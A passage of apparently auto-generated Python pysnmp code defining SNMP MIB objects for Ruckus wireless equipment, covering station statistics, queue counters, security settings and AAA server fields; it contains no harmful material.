ruckusWLANStaStatsRxDataFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxDataFrames.setStatus('current')
ruckusWLANStaStatsRxMgmtFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxMgmtFrames.setStatus('current')
ruckusWLANStaStatsRxCtrlFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxCtrlFrames.setStatus('current')
ruckusWLANStaStatsRxUnicastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxUnicastFrames.setStatus('current')
ruckusWLANStaStatsRxMulticastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxMulticastFrames.setStatus('current')
ruckusWLANStaStatsRxBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxBytes.setStatus('current')
ruckusWLANStaStatsRxDup = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxDup.setStatus('current')
ruckusWLANStaStatsRxNoPrivacy = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxNoPrivacy.setStatus('current')
ruckusWLANStaStatsRxWEPFail = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxWEPFail.setStatus('current')
ruckusWLANStaStatsRxDemicFail = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxDemicFail.setStatus('current')
ruckusWLANStaStatsTxDecap = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxDecap.setStatus('current')
ruckusWLANStaStatsRxDefrag = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 14), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxDefrag.setStatus('current')
ruckusWLANStaStatsTxDataFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 15), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxDataFrames.setStatus('current')
ruckusWLANStaStatsTxMgmtFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 16), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxMgmtFrames.setStatus('current')
ruckusWLANStaStatsTxUnicastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 17), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxUnicastFrames.setStatus('current')
ruckusWLANStaStatsTxMulticastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 18), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxMulticastFrames.setStatus('current')
ruckusWLANStaStatsTxBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 19), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxBytes.setStatus('current')
ruckusWLANStaStatsTxAssoc = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 20), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxAssoc.setStatus('current')
ruckusWLANStaStatsTxAssocFail = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 21), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxAssocFail.setStatus('current')
ruckusWLANStaStatsTxAuth = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 22), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxAuth.setStatus('current')
ruckusWLANStaStatsTxAuthFail = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 23), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxAuthFail.setStatus('current')
ruckusWLANStaStatsRSSI = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 24), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRSSI.setStatus('current')
ruckusWLANStaStatsTxRxBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 25), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxRxBytes.setStatus('current')
ruckusWLANStaStatsTxRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 26), Unsigned32()).setUnits('Bps').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxRate.setStatus('current')
ruckusWLANStaStatsRxRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 27), Unsigned32()).setUnits('Bps').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsRxRate.setStatus('current')
ruckusWLANStaStatsTxDropRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 28), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsTxDropRate.setStatus('current')
ruckusWLANStaTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2), )
if mibBuilder.loadTexts: ruckusWLANStaTable.setStatus('current')
ruckusWLANStaEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "RUCKUS-WLAN-MIB", "ruckusWLANStaAddr"))
if mibBuilder.loadTexts: ruckusWLANStaEntry.setStatus('current')
ruckusWLANStaAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 1), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaAddr.setStatus('current')
ruckusWLANStaRssi = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 2), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRssi.setStatus('current')
ruckusWLANStaErp = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 3), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaErp.setStatus('current')
ruckusWLANState = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 4), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANState.setStatus('current')
ruckusWLANStaCapInfo = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 5), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaCapInfo.setStatus('current')
ruckusWLANStaAssocid = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 6), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaAssocid.setStatus('current')
ruckusWLANStaOpMode = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 7), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaOpMode.setStatus('current')
ruckusWLANStaIdle = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 8), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaIdle.setStatus('current')
ruckusWLANStaRates = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 9), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 127))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRates.setStatus('current')
ruckusWLANStaIpaddr = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 16), OctetString().subtype(subtypeSpec=ValueSizeConstraint(2, 40))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaIpaddr.setStatus('current')
ruckusWLANStaAuthMode = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 2, 1, 20), OctetString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaAuthMode.setStatus('current')
ruckusWLANStaMQTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3), )
if mibBuilder.loadTexts: ruckusWLANStaMQTable.setStatus('current')
ruckusWLANStaMQEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "RUCKUS-WLAN-MIB", "ruckusWLANStaMQAddr"), (0, "RUCKUS-WLAN-MIB", "ruckusWLANStaMQQIndex"))
if mibBuilder.loadTexts: ruckusWLANStaMQEntry.setStatus('current')
ruckusWLANStaMQAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 1), MacAddress())
if mibBuilder.loadTexts: ruckusWLANStaMQAddr.setStatus('current')
ruckusWLANStaMQQIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 4)))
if mibBuilder.loadTexts: ruckusWLANStaMQQIndex.setStatus('current')
ruckusWLANStaMQPktsQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 3), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQPktsQueued.setStatus('current')
ruckusWLANStaMQNumEnqueued = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 4), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQNumEnqueued.setStatus('current')
ruckusWLANStaMQNumDequeued = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 5), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQNumDequeued.setStatus('current')
ruckusWLANStaMQNumRequeued = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 6), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQNumRequeued.setStatus('current')
ruckusWLANStaMQNumDropped = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 7), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQNumDropped.setStatus('current')
ruckusWLANStaMQNumDeactivateQueue = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 8), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQNumDeactivateQueue.setStatus('current')
ruckusWLANStaMQAveIpg = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 9), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQAveIpg.setStatus('current')
ruckusWLANStaMQMinIpg = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 10), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQMinIpg.setStatus('current')
ruckusWLANStaMQMaxIpg = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 11), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQMaxIpg.setStatus('current')
ruckusWLANStaMQAveTxLatency = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 12), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQAveTxLatency.setStatus('current')
ruckusWLANStaMQMinTxLatency = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 13), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQMinTxLatency.setStatus('current')
ruckusWLANStaMQMaxTxLatency = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 3, 1, 14), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaMQMaxTxLatency.setStatus('current')
ruckusWLANStaRksTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4), )
if mibBuilder.loadTexts: ruckusWLANStaRksTable.setStatus('current')
ruckusWLANStaRksEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "RUCKUS-WLAN-MIB", "ruckusWLANStaRksAddr"))
if mibBuilder.loadTexts: ruckusWLANStaRksEntry.setStatus('current')
ruckusWLANStaRksAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 1), MacAddress())
if mibBuilder.loadTexts: ruckusWLANStaRksAddr.setStatus('current')
ruckusWLANStaRksRxGoodFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 2), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksRxGoodFrames.setStatus('current')
ruckusWLANStaRksRxCrcErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 3), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksRxCrcErrors.setStatus('current')
ruckusWLANStaRksTxGoodFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 4), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksTxGoodFrames.setStatus('current')
ruckusWLANStaRksTxRetries = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 5), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksTxRetries.setStatus('current')
ruckusWLANStaRksTxDiscardExRetries = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 6), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksTxDiscardExRetries.setStatus('current')
ruckusWLANStaRksTxRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 7), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksTxRate.setStatus('current')
ruckusWLANStaRksTxKbps = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 8), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksTxKbps.setStatus('current')
ruckusWLANStaRksTxPer = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 9), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksTxPer.setStatus('current')
ruckusWLANStaRksTxRssi = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 4, 1, 10), RuckusdB()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaRksTxRssi.setStatus('current')
ruckusWLANSecurityTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 1), )
if mibBuilder.loadTexts: ruckusWLANSecurityTable.setStatus('current')
ruckusWLANSecurityEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 1, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: ruckusWLANSecurityEntry.setStatus('current')
ruckusWLANSecurityMode = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("none", 1), ("wep", 2), ("wpa", 3))).clone('none')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANSecurityMode.setStatus('current')
ruckusWLANSecurityAuthMode = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 1, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("open", 1), ("wep-shared", 2), ("auto", 3), ("wpa-eap-802-1x", 4))).clone('open')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANSecurityAuthMode.setStatus('current')
ruckusWLANSecurityEncryMode = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 1, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("none", 1), ("tkip", 2), ("aes", 3), ("auto", 4))).clone('none')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANSecurityEncryMode.setStatus('current')
ruckusWLANWEPTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 2), )
if mibBuilder.loadTexts: ruckusWLANWEPTable.setStatus('current')
ruckusWLANWEPEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 2, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: ruckusWLANWEPEntry.setStatus('current')
ruckusWLANWEPEncryLenType = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("bit-64", 1), ("bit-128", 2))).clone('bit-128')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANWEPEncryLenType.setStatus('current')
ruckusWLANWEPKeyIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 2, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 4))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANWEPKeyIndex.setStatus('current')
ruckusWLANWEPKey = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 2, 1, 9), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(3, 32))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANWEPKey.setStatus('current')
ruckusWLANWPATable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 3), )
if mibBuilder.loadTexts: ruckusWLANWPATable.setStatus('current')
ruckusWLANWPAEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 3, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: ruckusWLANWPAEntry.setStatus('current')
ruckusWLANWPAVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 3, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("wpa", 1), ("wpa2", 2), ("auto", 3))).clone('wpa')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANWPAVersion.setStatus('current')
ruckusWLANWPAKey = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 3, 1, 12), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(8, 63))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANWPAKey.setStatus('current')
ruckusWLANWPARadiusNasId = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 3, 1, 15), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 64))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANWPARadiusNasId.setStatus('current')
ruckusWLANWPAReAuthenticationPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 3, 1, 20), Integer32().subtype(subtypeSpec=ValueRangeConstraint(30, 3600)).clone(600)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANWPAReAuthenticationPeriod.setStatus('current')
ruckusWLANAAAServerTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 4), )
if mibBuilder.loadTexts: ruckusWLANAAAServerTable.setStatus('current')
ruckusWLANAAAServerEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 4, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "RUCKUS-WLAN-MIB", "ruckusWLANSeverMode"))
if mibBuilder.loadTexts: ruckusWLANAAAServerEntry.setStatus('current')
ruckusWLANSeverMode = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 4, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("auth", 1), ("account", 2))))
if mibBuilder.loadTexts: ruckusWLANSeverMode.setStatus('current')
ruckusWLANServerIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 4, 1, 10), OctetString().subtype(subtypeSpec=ValueSizeConstraint(2, 40))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANServerIpAddress.setStatus('current')
ruckusWLANServerPort = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 4, 1, 12), Integer32().clone(1812)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANServerPort.setStatus('current')
ruckusWLANServerSecret = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3, 4, 1, 15), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 64))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANServerSecret.setStatus('current')
ruckusWLANStatsTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4), )
if mibBuilder.loadTexts: ruckusWLANStatsTable.setStatus('current')
ruckusWLANStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: ruckusWLANStatsEntry.setStatus('current')
ruckusWLANStatsSSID = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 1), RuckusSSID()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsSSID.setStatus('current')
ruckusWLANStatsBSSID = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 2), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsBSSID.setStatus('current')
ruckusWLANStatsNumSta = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumSta.setStatus('current')
ruckusWLANStatsNumAuthSta = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAuthSta.setStatus('current')
ruckusWLANStatsNumAuthReq = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAuthReq.setStatus('current')
ruckusWLANStatsNumAuthResp = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAuthResp.setStatus('current')
ruckusWLANStatsNumAuthSuccess = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAuthSuccess.setStatus('current')
ruckusWLANStatsNumAuthFail = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAuthFail.setStatus('current')
ruckusWLANStatsNumAssocReq = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAssocReq.setStatus('current')
ruckusWLANStatsNumAssocResp = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAssocResp.setStatus('current')
ruckusWLANStatsNumReAssocReq = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumReAssocReq.setStatus('current')
ruckusWLANStatsNumReAssocResp = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumReAssocResp.setStatus('current')
ruckusWLANStatsNumAssocSuccess = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAssocSuccess.setStatus('current')
ruckusWLANStatsNumAssocFail = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 14), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsNumAssocFail.setStatus('current')
ruckusWLANStatsAssocFailRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 15), Unsigned32()).setUnits('percentage').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsAssocFailRate.setStatus('current')
ruckusWLANStatsAuthFailRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 16), Unsigned32()).setUnits('percentage').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsAuthFailRate.setStatus('current')
